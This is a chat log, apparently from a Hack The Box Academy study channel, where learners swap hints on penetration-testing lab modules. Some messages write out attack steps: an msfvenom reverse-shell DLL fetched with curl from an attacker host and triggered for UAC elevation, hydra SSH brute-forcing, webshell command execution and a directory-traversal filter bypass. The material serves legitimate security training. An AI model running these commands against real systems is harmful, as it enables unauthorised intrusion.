To be honest, almost every module deals with infrastructure or application security. It's best to go through the modules and mark the ones that interest you with a heart. Then they will appear in your ToDo list.

The titles of the modules clearly indicate what is at stake

[rustic sage]

Well thank you again for your help.

I'll do as you've said now.

[fathom bone]

Hey there, i just finished Password Attacks Lab - hard completly on my own attack machine, but i know there were some stuff and a file on the victim host. So if anyone got a solution how i can reach the same using the provided stuff on the victim machine, feel free to DM me. Thanks 🙂

[near nacelle]

Hello, i have problems spawning an instance,
its showing up and then i get a "black screen" after a few seconds

Where to go with this problem?

[native bridge]

Anyone have any issue submitting their answer for Active Directory Enumeration & Attacks - Miscellaneous Misconfigurations question 2?
Identified user through both Kerbrute and PowerView.
Checked against ADUC to confirm Kerberos preauth is not required
User hash grabbed through both GetNPUser.py and Kerbrute
Ran hash through both hashcat and john (same result)
Apparently wrong answer. I get the same hash password as the module example. Anyone else had this issue? I've tried multiple times

[native bridge]

I had the same issue, I changed from xfreerdp to rdesktop and it worked

[dim cosmos]

wow without looking at the walkthru in the web attacks part of attacking enterprises i would NEVER have got past the verb tamping plus x-custom-ip-authorization part

[brave barn]

File inclusion ....//....//....//need HELP

[tame python]

I am also having the same issue. Able to get SSH and WINRM but when it comes to RDP and SMB am stuck. I ca see the shares on SMB but cannot access. Any help?

[tame python]

Same here. Able to sole SSH and WINRM but got stuck in RDP and SMB. I could see the shares in SMB, but cannot access it any help?

[autumn pilot]

nope

[chilly forge]

on the sql injection skill assessment (final exercise): Assess the web application and use a variety of techniques to gain remote code execution and find a flag in the / root directory of the file system. Submit the contents of the flag as your answer.

||I bypassed auth, identified tables and columns, found that root@localhost has super_priv rights and file permissions on mariadb. I doublechecked that I'm logged in under 'root@localhost'. ||

When I try to write my webshell to the server I still get error 13: permission denied. Even though it seems like I have file permissions? Can someone give me a hint on this exercise?

[iron plaza]

hey everyone, I just finished the "Cracking Passwords with Hashcat" module and in the last question I had to manually clean the output file to find the most used password ... I would like to know how could this be done using grep (as mentioned in the hint). I tried looking only but didn't find a solution that just read the password occurrences after last colon

[iron plaza]

why do you need to write a webshell ... you are just trying to read the file only

[chilly forge]

@iron plaza Cause I dont know what the filename is, so I'd figure I'd get a webshell to figure that out? ls for instance

[iron plaza]

yea you need to list down the files in the root directory then load the file once you know the name all this through sqli

[chilly forge]

Thanks! I'll have to figure out how to list the files, but this already helps a lot as I dont have to figure out why i cant write a webshell!

[iron plaza]

actually ignore what I said ... i am trying to recall how I solved it but I am failing to remember... you may need a webshell to enumerate the directory but probably from an admin panel ... looks like i need to redo this again to jog my memory

[lyric raft]

nvm I misstyped something 🤣

[chilly forge]

That's alright, I'll just keep trying, thank you anyways for your help!

[dim cosmos]

doing the attacking enterprise networks, some real brain teasers but happy to report im in.....

[rustic sage]

You need to find a directory that you do have permissions to write to.
Maybe reading a file first may help

I am taking the windows CLI exam but when I connect to the ssh it doesn't print the banner to find the next answer.
"The banner will be printed on the banner on successful login to the host via SSH."

[autumn pilot]

file upload attacks is borderline annoying module...

[graceful rampart]

Agreed lmao

I actually found it to be so annoying that I decided to take a break from CPTS (ok it's not entirely that modules fault but thats what out me iver the edge). Now I'm learning C# and developing a C2 lmao

[runic rampart]

Good evening friends! Who will help in the passage of the module Ausing HTTP Misconfigurations. I have a lot of things that do not work, I do everything according to the instructions.

[autumn pilot]

spent the last hour and half going into the rabbithole that the hint gives you, smh

[urban anvil]

hi guys can anyone guide me with the shells and payload "the live engagement section"?

I am stuck. I upload the war file generated by msfvenom but I don't get a reverse shell

[shadow canopy]

Windows Privilege Escalation
User Account Control
i tried these :
msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker-ip> LPORT=<attacker-port> -f dll > srrstr.dll
transfer
TARGET> curl http://<attacker-ip>:<python3-port>/srrstr.dll -O "C:\Users\<my-account>\AppData\Local\Microsoft\WindowsApps\srrstr.dll"
normal revshell (works)
ATTACKER> nc -lnvp 9999
TARGET> rundll32.exe shell32.dll,Control_RunDLL C:\Users\<my-account>\AppData\Local\Microsoft\WindowsApps\srrstr.dll
elevated revshell (nothing happens, not getting any shell)
ATTACKER> nc -lnvp 9999
TARGET> C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

//ok got it. need to signout & sign back in

[iron basin]

Web Proxies - Skills Assessment: I am needing to capture the http response and change some things. I am needing to do this multiple times so I need to send it to the repeater. However when I hit ctrl R it just sends the request and not the response and I am unable to change it in the repeater. Any help?

Actually forgive me I completely forgot about automatic modifications...

[open totem]

Hello, could anybody give me the password for sam from "Create a mutated wordlist using the files in the ZIP file under "Resources" in the top right corner of this section. Use this wordlist to brute force the SSH password for the user "sam". Once successful, log in and submit the contents of the flag.txt file as your answer. " from Password Mutations from Password attacks.

The mutated_passwords dictionary has 94000 passwords and i ve been running hydra with 64 threads for like 4 hours and it only did 14000

I don't know what else can i do because like this it's taking forever

[vital adder]

remove the first ||17000|| password

[proud pine]

I have a dream... that the password attacks module will one day get updated, so this doesn't happen 10 times each day.

[rustic sage]

I am completely stuck on the skill assessment in the shells and payloads module. I have logged into via RDP on the foothold machine from my own Kali VM. This brings me to Parrot desktop. I can see a txt with credentials, but there is no browser installed. How am I suppose to access host1 @ 8080 without a browser? I tried curl but that didn't get me anything.

[fathom pendant]

Firefox

[vital adder]

run firefox in a terminal

[fathom pendant]

^

[urban anvil]

hi even I am stuck with the shell and payload section. Can I message u privately?

[vital adder]

sure

[open totem]

tysm finally found it!

[warm sand]

anyone available to get me some help/hint for the privesc for windows privilege escalation - skills assessment II? tried windows-exploit-suggester.py(listed a lot of them) and run some exploits that I got from winpeas but none of them did work.. thank you

[rustic sage]

Thanks.

[low vine]

@vital adder every day I see you grinding hard in here, whether I'm whining about shit I dont undertand or feeling amazing cause something clicks. You're here every day and deserve all the praise in the world.

[acoustic owl]

You mustn't forget @fathom pendant . He also lives here

[low vine]

Need to hire them both for some 1on1 study time

[fathom pendant]

$30/h :^) I'll just screen share me googling

[craggy forge]

How i can learn hacking

[vital adder]

i'm not on there yet you can get 1 on 1 Tutoring 🤣 https://www.hackthebox.com/newsroom/discord-lab-tutoring

[acoustic owl]

https://youtu.be/4JZjj_H4ei4

[sinful olive]

Attacking Common Services - Hard module

Can anyone help me please? I'm stuck for a few days.. I found user F**** and credentials to RDP.. tried to connect to MSSQL with it - seems the right way..
I tried everything -qsqh, and in win: SSMS and sqlcmd.. none worked.. Any help?

[iron basin]

Give me one sec, I finished the module, ill have to look back at my notes.

[umbral yacht]

No, I don't think I did. Sorry

[hardy hare]

Anyone available to give me some assistance on the file upload skill assessment? Been stuck for four days now....

[wooden citrus]

hey guys, im on sql essentials module on running sqlmap on http request, i have dumped all the data but i dont know what the question of What's the contents of table flag2? (Case #2) is asking for.

[rustic sage]

Ugh, could use some help with the skill assessment in shells & payloads module. I'm stuck at the very beginning. I can not get a shell on host 1. I tried both Podalirius' tomcat shell from GitHub and crafting a war file with msfvenom. Nothing connects back the listener i have running on 443 on the foothold machine (which i RDP'ed into).

[wooden citrus]

Solved: use SQLmap command directly instead of manually putting in the sql injection.

[fathom pendant]

Are you sure you have the callback posting to the right IP? hint not the 10.x.x.x address

[iron basin]

@sinful olive Would you like a dm?

[sweet oar]

im doing htb appointment
however i have the flag just this one stupid fucking question im stuck on
If user input is not handled carefully, it could be interpreted as a comment. Use a comment to login as admin without knowing the password. What is the first word on the webpage returned?

**s
the answer is supposed to be 15 letters long
i did what the task asked me to do but nothing showed up no error code which im assuming is the asnwer
and the word ends with "s"

[dark hollow]

Please Help on LINUX PRIVILEGE ESCALATION...Credential hunting I ssh into htb-student but no wp-config.php file exists. What amidoing wrong?

[iron basin]

@dark hollow What part of the module are you at?

[dark hollow]

Page 9 Credential hunting

[iron basin]

Did you utilize the find command they gave?

[half wing]

ffuf skills

[dark hollow]

Yes I did. I tried it again and found what I'm looking for thanks. Must of skipped over the file the first time.

[rustic sage]

Sure, feel free to DM

[rustic sage]

Thanks. I tried both, i believe. I will revert the target and re-try with the internal network IP.

[subtle glen]

footprinting, smtp, 2nd question, im using module ||auxiliary(scanner/smtp/smtp_enum) on metasploit|| i found a bunch of usernames but none of these are accepted, i tried doing it without ||metasploit||, with ||smtp-user-enum|| but it takes a very long time to do 10 million usernames, i tried the smaller wordlists without any luck, may i please have some help?

[timber hatch]

ATTACKING WEB APPLICATIONS WITH FFUF, Directory Fuzzing.... i have found the answer with gobuster in 5seconds....

with ffuf...nothing...

i dont like that tool...what do i wrong..?

[sinful olive]

Hi yes I'd like.. Thanks..

[fathom pendant]

Appointment is a box, verify your HTB account in #bot-commands by typing in ++verify and following instructions and ask your question in #boxes

[sweet oar]

dw i got it all figured out

[fathom pendant]

Just for future :)

[chilly forge]

Thank you!!

[timber hatch]

is it possible to filter these outs:

?

this is gobuster

i mean why would you use ffuf, when gobuster looks so clean?

[pliant flare]

ffuf has alot more functionality than just directory brute-forcing. Its a fuzzing tool. Go buster is more of a directory brute-forcing tool which has limited options for fuzzing.

[timber hatch]

alright....

[iron basin]

Login Brute forcing - Skill Assessment: Website

Anyone wanna provide some guidance or a nudge? Wanna make sure I am using the right password list and method.

[frail thicket]

Hello! On the section Linux Local Password Attacks/Passwd, Shadow, & Opasswd.
I copied the shadow and passwd file, unshadowed and I'm running hash with rockyou to crack the root passwd.
It's taking long time and no results so far. Is this the way that is supposed to be or I am missing something here?

[plain coral]

Yes you can filter those out by using -mc 200

[plain coral]

You can also filter by response size. For example if you fuzzed and got a similar response size for non existent directories i.e Size: 1738 you can use - fs 1738 so ffuf only outputs responses that don’t have a size of 1738.

[plain coral]

You can also use the -c switch which renders the output of the status codes in different colors

[frosty leaf]

Yo

[iron basin]

Hashes shouldnt take long to run against a password list

Maybe I am wrong, but general rule of thumb is password cracking or hash cracking shouldn't be taking over the lifespawn of the box.

[manic hornet]

Hello

anyone know why getting this errror

doing the--asreproast

This would be for Crackmapexec

error is Err no connection error (INLANEFREIGHT.HTB:88) name or service not known

[clever imp]

Using Web Proxies - Web Fuzzer

Q: ... then try to use ZAP Fuzzer to fuzz the cookie for different md5 hashed usernames to get the flag...

Following the advice of others here, I just used burp instead. with the provided username list, it gave me 19 different hashes, but Im not really sure how to get the flag. I replaced the cookie with each individual hash and nothing.

[pseudo hound]

using GetUserSPNs.py on a Windows 10 machine...getting Errno 111 Connection refused in Kali...

[tribal plume]

I think the question is for + or - 1 seconds right? It looks like yours goes from -2 seconds to + 0.001 seconds

I used start_time = now - 1105, end_time = now + 1105

[hazy grotto]

The above web application employs more than one filter to avoid LFI exploitation. Try to bypass these filters to read /flag.txt

File Inclusion/Basic Bypasses

Someone give me a hint? Been trying a few different things.

[naive sky]

how could this work?

• 5 Once you decode the cookie, you will notice that it is only 31 characters long, which appears to be an md5 hash missing its last character. So, try to fuzz the last character of the decoded md5 cookie with all alpha-numeric characters, while encoding each request with the encoding methods you identified above. (You may use the "alphanum-case.txt" wordlist from Seclist for the payload)

[thorn urchin]

what about it do you not understand?

[naive sky]

could i dm you?

i got confused after i add last payload letter $a$

[rustic sage]

so yes

[dim cosmos]

ive setup ssh -D 9050 and then ive used proxychains firefox-esr to an internal ip page (in attacking enterprise) and it works but it is extremely slow and I have lots of "temporary failure in name resolution" errors in my ssh -D 9050 session -- any ideas?

[proud pine]

The slowness is normal.

[dim cosmos]

ok thanks rat, i know this DNN is exploitable so im getting too excited to wait for the slow loads

[proud pine]

You'll also experience those name resolution issues, as your extensions and such try to reach out to locations that they can't.

[dim cosmos]

ah right i understand

[proud pine]

One alternative for single hop proxy situations, you can use foxyproxy, instead of piping all of firefox through proxychains.

It can be set up for socks proxies.

[dim cosmos]

oh yeh that is HEAPS better

i just set it on port 9050 withs socks 4

much much better

[proud pine]

I don't know if foxyproxy supports multiple proxies (in a chain), but if it's just the one hop, it's definitely the better option.

[dim cosmos]

yeh

thanks rat

[proud pine]

cheers

[tulip copper]

it asked which app is disabled on startup

how can I tell from the results could anyone let me know or point me to some resources thanks (i got the answer since i just tried both of them but wanna know how without using gui xd)

[raven cairn]

am i the only one who thinks the pivoting tunneling and port forwarding skills assessment was very easy? 🤣

[vestal halo]

Please help!! #1024429874246590575

[raven cairn]

with what lol

not a furry lol

what is this on?

damn it's been a long time

you got this 🫂

Nah i can try

yeah but it was ages ago lol and i don't take good notes

https://www.epochconverter.com/

I remember using this thingy.

Also have you checked apache openmeeting bug?

You should if I remember.

I am offended you called me a furry 🤣

im not @forest tapir 👀

[forest tapir]

Wait what?

I'm the only punk rock lgbtqiaxtsvff12 furry here

no wait there's Emma but I don't think she's punk rock

[raven cairn]

nah there are bajilllions of furries on this server I swear to god.

[thorn urchin]

For documentation and reporting, would DCSync count as a finding? Or how would you categorize it in a report if at all?

like, "got password for this user, they have dcsync perms, grabbed DC administrator hash, gg no re", how would you reflect that in a report?

[proud pine]

As far as I understand, I think a 'finding' qualifies more as something that was a misconfiguration/vulnerability, in that respect. A user who is supposed to have a certain function/ability isn't technically a finding. Maybe something along the lines of 'excessive permissions' could qualify, if the permission is something that a user shouldn't have.

[thorn urchin]

yeah but if not a finding, how would you opt for reflecting it in the report?

or do you just...not?

[proud pine]

I think it depends on the situation, more than anything. If you get access to a user, because of a weak password, that's definitely a finding. However, if that user had domain admin, that isn't technically a 'fault' of the permission itself. You only abused the password aspect.

If a user had DCSync privileges because of some business need, it isn't technically a vulnerability - same as you would consider that a sysadmin needs access to certain functions, to do their job.

[thorn urchin]

okay okay but thats not my question

my question is how do you reflect it, if at all, in the report

[proud pine]

Well, if it's not a finding, it doesn't go in findings. ;D

[thorn urchin]

cool, been established

[rustic sage]

hi

[thorn urchin]

https://nohello.net

[feral gyro]

u got this ?

Have you tried this on pwnbox

?

it would

so maybe ur script is wrong

wait dm

[rustic sage]

you mus be playing with me

[thorn urchin]

no

this isnt gen chat, discuss modules

[rustic sage]

oh right sorry

First time here hehe

[thorn urchin]

idc

read #rules and #welcome too

[fringe shell]

yeah, but don't be standard internet guy about it

[rustic sage]

sorry. Won't happen again.

[thorn urchin]

it literally happens 10+ times a day in this channel. A monks patience runs out eventually

[half basalt]

hi

[rustic sage]

nohello.net

read #rules

https://nohello.net/

don't be a victim

[half basalt]

ok

[thorn urchin]

and #welcome

[proper spade]

https://tenor.com/view/hi-hello-gif-22257481

[peak bluff]

why would you delete my message bro

[thorn urchin]

@novel matrix when ya get the chance wanna yell at some people to stay on topic

[hazy grotto]

Attack the target, gain command execution by exploiting the RFI vulnerability, and then look for the flag under one of the directories in /

How do i look around in other directories

[thorn urchin]

just specify the path

[hazy grotto]

ls+../../../root ?

im an idiot with this web stuff.

aaahhhhaha

got it

[hazy grotto]

Thank you for the push.

For some reason i could navigate to other directories but not root. Which many now makes sense if i don't have priv

[fathom pendant]

Yee

[hazy grotto]

YEE

[jagged zenith]

Hey

[glossy perch]

53

[magic valve]

May I get a nudge with Attacking Common Services: Attacking FTP Question 3: Use the discovered username with its password to login via SSH and obtain the flag.txt.file. I’ve attempted hydra attacking ftp and ash with the provided module password list and rockyou.txt but have not found the password.

[autumn pilot]

double-check if there isn't an "unusual" port that you can utilize

[magic valve]

Oh I forgot to utilize hydra with the “unusual” port. Thank your for pointing that out! 😃

[elfin nacelle]

Hello,

Can someone help me with the Command Injection Module Skills Assessment?

Im able to move files to the tmp folder and capture the request in burp but not sure where to go from here.
http://142.93.33.226:30942/index.php?to=tmp&from=605311066.txt&finish=1&move=1

Looking at the response in repeater gives me a thousand lines of code and not sure where to go next. Can someone nudge or dm me please?

[merry wren]

did u resolve that problem with dcsync?

[magic valve]

Didn’t find anything utilizing hydra and “unusual” port with the provided password list from the module and attempted hydra attacking ftp with the “unusual” port. Any other hints?

[autumn pilot]

it should be a high number port, if you are not seeing it feel free to reset your target

high number -> between 1000-9999

[magic valve]

Thank you! Will try that

[magic valve]

May I dm you to not spoil anything

[autumn pilot]

sure go ahead

[acoustic owl]

sudo apt install mariadb

https://unix.stackexchange.com/questions/584194/error-installing-mysql-in-parrot-linux

[sinful olive]

#Attacking DNS - ATTACKING COMMON SERVICES
I found the h*, but when I do axfr it simply doesn't work.. Any help?

[dusty coral]

Hello, I would like to ask, what type of content I can found in modules, this is text-based learning experience, or there are videos ?

[novel matrix]

No videos as it isn't allowed past Tier 1 and up

[livid bluff]

Hi,
On the shell & payload module in the final engagement i have a serious problem with the box !!!
I tested on my kali and pwnbox and is the same.
We need to use freexrdp or remmina (I tested both) but every time the connection is lost with the box it is impossible to work ....

[feral gyro]

i faced exactly similar issue a while ago

[livid bluff]

Oh no ....
Isn't there anyone from the support team here to do something?
Impossible not to complete the module!

[feral gyro]

i think support team will help u

[dusty coral]

thank you

Could someone confirm that this module https://academy.hackthebox.com/module/details/143 will be video-based ?

[autumn pilot]

be more specific

a video walkthrough of the information created by someone from htb?

[dusty coral]

I just wonder what I can expect in this module, as I see lot of topic are listed, but I don't know how knowledge is delivered 🙂 articles with examples and labs task, or there is trainer explaining topics like on udemy

[autumn pilot]

if you have some experience with academy, you should know that there aren't any videos by instructors and that the information/module/section is developed by the creator(s) of the module it self

[dusty coral]

thank you

[sudden galleon]

Hi, i alredy upload php shell file in right path of WebServer. But i'm only able to execute only some commands like:
curl http://10.129.236.12/shell.php\?c\=whoami nt authority\system

How can i obtain a rev shell ? Thanks

[autumn pilot]

multiple ways, powershell oneliner, uploading a file then executing it and etc

[livid bluff]

What the best way to contact them ?
There is no support mail on HTB Acadmy.

[feral gyro]

on htb-academy site u can see this htb logo at bottom right corner

From here u can send messages

to the support team

[livid bluff]

My email is not accepted on this support

[feral gyro]

that's odd

[livid bluff]

When i open th echat i have this question.
If i select not really th echat is close and with the other option it ask me an email ...

[wheat totem]

When doing the linux based stack overflow challenge, after entering the buffer and nop sled into gdb, i went to check the memory, but found a bunch of C2 inside the nop sled, any workarounds for this?

[livid bluff]

Ok for information to contact the support use firefox, not chrome.
And if you have a problem with your connection in RDP use your VPN in TCP connection not with UDP.
A support with an incredible reactivity !!
Let's go to continue my module 😉

[versed tulip]

hello everyone i have bought pen 200 (oscp) and i am doing pronving grounds play and practice before this i have done good amount of ctf machines on hacthebox i have experience and i will gave exam in 2.5 months so i want a partner to study with me but not beginner if anyone interested so please message me 🙂

[ivory dock]

stuck on the 5th and 6th question of the pivoting tunneling skills assessment, a nudge in the right direction would be appreciated. The farthest I've gotten is getting a meterpreter shell on PIVOT-SRV01. When I run ping_sweep from that machine, there are no other machines, so I'm not sure what to do next. I know the hint ||says that we might get something from lsass||, but I'm not sure what to do with it nor do I understand how that will help me reach the DC.

[rustic sage]

Ugh, this is getting annoying. I'm stuck at the skill assessment in the shells & payloads module. I can not get a shell on host 1. I tried both the tomcat with a msfvenom crafter war payload en the local inlanefreight website with laudanum. Whatever i try i can not get it to work.

[ivory dock]

I remember I got it to work by uploading using the Burp Suite browser and referring to the "Bypassing File Type Restriction" section in PHP WebShells

I know I also used the Antak webshell, just don't remember if it was on the first host or not

[rustic sage]

Okay, thanks. Will try that out. Which IP did you use for ||LHOST||? I can';t connect my listener on NC.

[ivory dock]

Also, I'm pretty sure that reverse shells don't work

[rustic sage]

This is an extremely frustrating and vague skill assessment imo, not a fan.

[ivory dock]

That's why you need a webshell

I got stuck on that for a bit too

[rustic sage]

I am going to try it now. Is it okay if i DM you, if we need to continue this conversation?

[ivory dock]

no problem

[rustic sage]

Thanks alot.

[rustic sage]

Goddamn son, IIAntak|| did the trick! That was the best and most direct solution. I was trying to do a lot of complicated stuff with reverse listeners, LHOSTS, etc. The sample in the cheatsheet about created custom msfvenom payloads for war files got me all messed up. IIthe tomcat route did not work for me, or better said i don't know how to get that working. So i went with Antek (as you suggested) and the vhost route||.

[ivory dock]

Glad you were able to progress!

[rustic sage]

Me too.

[ivory dock]

Bringing this back up...

[deep silo]

Hi! I'm having the same problem. Did you solve it?

[wheat totem]

Yea i finally managed to solve it, by doing import sys; sys.stdout.write(b'\x41' * ....) instead of using print

[deep silo]

Okay thanks 🙂

[wheat totem]

resource that i used
https://stackoverflow.com/questions/71415316/kali-linux-buffer-overflow-nopsled-passing-weird-value

[deep silo]

I've just solved using print but using python2 instead of python3. It's another workaround 🙂

[ashen wolf]

Im on module: Password Attacks, section: PAssword mutations. I used custom.rules, best.rules from hashcat bruteforced FTP instead of SSh cuz it's faster. Im stumped

[lethal atlas]

so that particular question cannot be solved in the time they allot. Take your mutated password list, delete the first 17000 or so from the top of the list and start it again.

[open totem]

"What is the name of the executable file associated with the Local Security Authority Process? " cuz apparently it's not || lsass.exe ||
can anyone help me 🙂 and sry for the dumb question

[broken mauve]

which machine is it

[lethal atlas]

actually it is

[open totem]

it's from attacking lsass from password attacks

[open totem]

well i thought so too but htb academy disagrees with me

[fathom bone]

Someone else has issues with the FTP Service on the Attack common services Lab? i scanned the system with nmap but got this:

[lethal atlas]

make sure you dont have a space or something. That is the answer that I used and it was correct.

[open totem]

oh im stupid, i think it bugged out on me and i had to refresh 🤦‍♂️
thank you for the time

[lethal atlas]

what is your output

[fathom bone]

i think im not allowed here to share my screenshot 😄

but got this as output:
nmap -p21,2121 10.129.176.202
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-22 16:16 CET
Nmap scan report for 10.129.176.202
Host is up (0.086s latency).

PORT STATE SERVICE
21/tcp closed ftp
2121/tcp closed ccproxy-ftp

Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds

[lethal atlas]

im not sure what the issue is then?

dm me if you want

[autumn pilot]

usually a reset on that target fixes the issue

[ashen wolf]

what hashcat rule to use

[dull crag]

I've tried everything i can, please help me with these Which option needs to be set to create a home directory for a new user using "useradd" command?

Which option needs to be set to lock a user account using the "usermod" command? (long version of the option)

[autumn pilot]

https://man7.org/linux/man-pages/man8/usermod.8.html

[ashen wolf]

help

[autumn pilot]

use the mutated password list and filter words starting with b and use them

[dark hollow]

I need a little assistance on the LINUX PRIVILEGE ESCALATION Module. Page 11 shared object hijacking. I SSH into htb-student run ls -la payroll and it always tells me no such file or directory???

[lethal atlas]

dont need any rules

[ashen wolf]

?

than what wordlist

[lethal atlas]

the mut password list you created

[ashen wolf]

yes

and didnt work

[autumn pilot]

try to find it, it might not be in your current working directory

[lethal atlas]

create your list. hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list then run hydra hydra -l sam -P mut_password.list ssh://<ip address>

[ashen wolf]

its wierd i did the same

guess 1 time more wont hurt

[lethal atlas]

did you see what I said earlier about deleting the first 17000 entries?

[ashen wolf]

yes

[lethal atlas]

the password resides between 18000 and 19000

[ashen wolf]

thank you, I'll make that

[lethal atlas]

make sure you have this too

[ashen wolf]

ok

but actually how is it possible to get so many entries

$ wc -l mut_password.list
1504 mut_password.list

[terse olive]

how i can gain cube without buy it?

[ivory dock]

Complete modules

[terse olive]

ok , how many modules i can end without buying?

all?

[ivory dock]

No one? 😢

[autumn pilot]

you are appending the rule to an existing wordlist containing password, hashcat will generate a new wordlist based on the rule that you specify

[autumn pilot]

nope

[terse olive]

ok how much i can cover?

[autumn pilot]

log into the website you will see

[terse olive]

i seen , but i didn't end all the basic and only i want to know

but ok no problems , thx

[ashen wolf]

just realised that the resources U download give U already custom.rules now it makes sense

[autumn pilot]

yes

[ashen wolf]

I made it thx for help

[dapper birch]

Hello guys, I am having trouble finding a flag in the 'GET' Section of the 'Web Request' module in the academy platform. Even when I use curl i dont see any flag in the http headers.

[fathom pendant]

Install it

[autumn pilot]

have you tried searching for something using the search feature?

[dapper birch]

Yes, I did and it doesn't take me to the search.php file, but when i use the search.php it still doesn't display any flags.

[dapper birch]

I have already sorted this, i was using an incorrect search term.

[weak stirrup]

I am doing the windows fundamental module and in the windows security sub page, I don't think I understand the final question. I am running the command Get-Service | Where-Object {$_.StartType -eq "disabled"} to get all the disabled services but none of them are the answer it is asking for. Can someone help clarify the question? (i tried all of the Name objects as answers) i am thinking the Open ssh is the 3rd party one as i think the official one is called sshd

[elfin nacelle]

Can someone help me with the Command Injections - skill assessment please?

[magic valve]

May I get a nudge with Attacking Common Services: Attacking FTP Question 3: Use the discovered username with its password to login via SSH and obtain the flag.txt.file. I’ve attempted hydra attacking ftp and ash with the provided module password list and rockyou.txt but have not found the password.

[solar zodiac]

❤️ academy 🙂 I I'm kinda lacking in my knowledge of how certificates work. Would be great to see a certificates module in academy 😄

[vital adder]

hint ||the move parameters||

[vital adder]

hint there is ||multiple ftp|| and do some enum first before you brute force

[vital adder]

so which section are you in? i'm too lazy to double check on the academe and my note have no section with that name

[vital adder]

the hint in that section will lead to some ||cred|| and for the finding the next machine part i would suggest a gui tool named wnetwatcher or use the given cmd ping sweep

[elfin nacelle]

Thanks for the reply, may I dm you?

[vital adder]

sure

[slow ruin]

Need some help on Attacking Common Applications - Attacking GitLab. Looks liek the exploitDB that is in the section doesn't seem to work.

Getting errors like $'\r' command not found and syntax errors

Got it to run but getting LOOP and 302 output haha
^ this was intended and got the answer

[ivory dock]

I'll take look at what the hint leads to again, but regarding ping sweep, there were no other machines in the || 172.16.6.0/16 subnet ||

[vital adder]

did you use the powershell ping sweep?

[spare condor]

@fierce pewter Can I DM you regarding this one? (or @livid pier)

[vital adder]

that one doesn't work for me so i have to use the wnetwatcher tool but when re-doing my note for this i give the cmd ping sweep a try and that worked for like every time

[vital adder]

oh yeah @livid pier thanks for the hint ❤️, i only got that because of your hint 🤣

[grim hollow]

Hi, I'm Rory. nice to meet u

[thorn urchin]

https://nohello.net

#rules #welcome

[livid pier]

glad i could help

[visual quail]

I am working on the hashcat module in academy. I am on the WPA/WPA2 section. I am wondering how to get the pcap files into the pwnbox available for academy?

[balmy radish]

If it is in the module resources you can wget the url for the resource

[iron basin]

Login Brute Forcing - Skill Assessment Website: I am stuck on the first question, been running brute force against the IP. I believe I am missing something simple as others all seem to easily be able to get the first question. Been stuck on this question for some time, help would be appreciated!

[vital adder]

wget

[vital adder]

yep or if you want to upload something on to the pwnbox you can use updog with ngrok

[autumn pilot]

a list that is in the cheatsheet will get you the credentials

pay attention to the request that is being made upon logging in

[livid pier]

Can you copy the link then do a wget from the pwn box?(sorry didnt read the other 2 responses that said the same thing)

[visual quail]

yes, I was able to get the files with wget. for whatever reason now though, I can not unzip them

[livid pier]

if you cat the files, did you get the actual zip

or was it the server response

[visual quail]

if I cat it out, I get a bunch of HTML so probably just got the server response?

[iron basin]

Didnt see the cheat sheet had that, but I have been using the cred lists. I am just wondering if the command I am using is messed up due to be.

[livid pier]

yes

im guessing you did wget http://-something -o filename.zip

try it without the -o

when you wget on powershell you need the -o

Atleast i think so, im wrong alot

The other two longer options you have if this doesnt work

save the files to something like google drive then access that on your pwnbox

log into academy from the pwnbox instance

[visual quail]

that might have to be what I resort to because I was not using the -O option before.

[livid pier]

lol maybe try it with the -o option first then

@visual quail

idk if pwnbox is different

[visual quail]

I ended up getting it by signing in with pwnbox and got it.

[autumn pilot]

could be

[livid pier]

That boy dont dance but he makes moves

@visual quail i was working on a WPA problem in pico this morning and i used this tool for the first time

if pwnbox has it you might want to run it when you are done with the section to try it out

[visual quail]

I will have to give that a try too!

always more that one way to solve a problem!

[livid pier]

exactly just like we learned from trying to download the pcap to begin with, we need multiple routes

[visual quail]

for sure!

[iron basin]

Ill keep trying but do you mind if I dm you the command to check to ensure it is wrong ?

[autumn pilot]

sure

[arctic sentinel]

Hello everyone! anyone working in the bash scripting module. I`ve been stuck for a while in the comparision operators section.

[iron basin]

@arctic sentinel What ye stuck on?

[thick dove]

Phew That footprinting module was a big one

[ivory dock]

ah I used metasploit's ping sweep and the powershell version of ping sweep

I'm going for another run at it and I'll try it out

[vital adder]

i haven't try it but i think the metasploit one should work

but still not 100% sure

[magic valve]

Thank you @vital adder

[fathom pendant]

That one tripped me up too

[broken mauve]

bro why are "easy" machines not even easy, am i just so inexperienced in some of these or are they sometimes not rated properly

[thorn urchin]

not relevant to this channel. But the answer is that HTB is notoriously more difficult than other platforms. HTB easy is other platforms medium and hards

also #rules and #welcome

[fathom pendant]

you can verify your HTB account in #bot-commands with ++verify alongside reading #rules and #welcome

[broken mauve]

thats very good to hear because if people who can solve those machines easily than its just not even worth it for me lol

[broken mauve]

alright will do

not sure if im allowed to mention it in this server but would thm be a better platform?

for intermediate

[fathom pendant]

that is off-topic for this channel; this is why we are pushing you to verify your htb account and ask in another channel that you'll have access to once verified

[broken mauve]

ah got it

[fathom pendant]

have you tried obfuscating with html encoding? or if it's blocking traversal you can try doing ....// as MOST filters that filter for directory traversal filter out the single ../ leaving the remaining one that should work

are you testing using a common read/read/write directory?

i'm not familiar with that unfortunately I was just throwing things out there that i've seen suggested in this channel

gl

maybe re-read the module; maybe there's something you missed?

at least until someone smarter than me pops in and is like "have you done very obvious thing"

[ivory dock]

Well, machine died again and I've tried all methods I could think of to find another machine on the network and there is nothing. I dumped sam and secrets but I don't know what to do with them 😅

and it seems like PIVOT-SRV01 is the DC according to the Server Manager app

[vital adder]

did you try the tool i suggested?

[ivory dock]

yes

[vital adder]

no idea what you mean by this but that machine isn't "the DC"

[vital adder]

give me a sec i'll give this a check

[ivory dock]

There's a Server Manager application on that machine and from reading the information it shows, I understand that PIVOT-SRV01 is the Domain Controller

[ivory dock]

just to be sure, you're saying that there's another machine on the 172.16.6.0 subnet?

[vital adder]

yep

[vital adder]

i wish i did save as much info as a did for each machine in offshore but the SRV01 machine is a windows server not a domain controller or it's domain controller in domain controller 🤣 not sure if this is possible but i just can't say with the info that have right now

[ivory dock]

yeah... well crap

[fathom pendant]

pivot-srv01 is a pivot server not a domain controller just because it has a server manager application open up does not make it a DC

[ivory dock]

no idea how to find the other machine on that subnet

[fathom pendant]

it just means it's acting as a server

[ivory dock]

ah okay, but shouldn't it at least show the DC it's connected to? I couldn't find any other servers

[fathom pendant]

